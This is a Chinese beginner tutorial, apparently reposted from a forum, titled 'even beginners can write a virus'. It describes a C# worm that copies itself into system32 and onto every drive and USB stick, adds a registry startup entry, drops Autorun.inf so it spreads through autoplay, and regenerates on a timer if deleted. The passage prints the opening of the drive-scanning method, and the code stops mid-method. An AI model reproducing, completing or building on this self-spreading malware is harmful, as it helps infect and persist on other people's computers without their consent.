菜鸟也能写病毒[菜鸟入门]
本文“菜鸟也能写病毒[菜鸟入门]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
文章作者:菲哥哥
《前言》
近来喜好上了病毒,经过学习前人的经验加上自己的一些设法,终于写出了一个简单的小病毒.
《实现历程》
本人不才只能用c#来写这个小病毒,c#需求.Net Framework的支持,固然不合适写病毒,但是我写的只是思绪和自己的实践历程但愿对大家有帮忙.关于病毒的传达就操纵自动播放功效传达举行传达, 病毒的特点:
1.把自身复制到系统目录下;
2.把自身复制到系统各个盘符下和增添注册表启动项;
3.向各个盘符写入Autorun.inf文件 ;
接下来的工作就是编写了,然后在将自身复制到每个盘符的根目录包含u盘和系统文件夹下,并且按时对磁盘举行扫描假如发现病毒体文件被删除,就会重新生成,我们用timer控件举行按时扫描,时间不要设置的太小,不然会损耗很多cpu资源,我把 1.把自身复制到系统目录下;2. 把本身复制到系统各个盘符下和增添注册表启动项;3.复制Autorun.inf文件到各个系统盘符下;这些实现功效的代码都封装在一个办法里面,在timer控件里调用这个办法实现按时扫描.
办法代码:
public void scan()
{
//保存数组元素值
string sing;
//保存盘符
string drive;
//保存病毒体保存盘符途径
string tou;
//用数组保存盘符字母
string[] sum = new string[] { "A", "C","D", "B", "E", "G", "F", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" };
//保存盘符字母
for (int i = 0; i < sum.Length; i++)//用循环遍历磁盘
{
sing=sum[i]; //保存数组下标值
string system1 = string.Format("{0}:\\WINDOWS\\system32\\fei.exe",sing);
string system2 = string.Format("{0}:\\WINDOWS\\system32", sing);
drive = string.Format("{0}:\\", sing);//保存盘符
以上是“菜鸟也能写病毒[菜鸟入门]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |
- ·上一篇文章:刚入门新手的卡巴设置优化
- ·下一篇文章:LINUX下利用SMTP安全手册—Qmail安全
- ·中查找“菜鸟也能写病毒”更多相关内容
- ·中查找“菜鸟也能写病毒”更多相关内容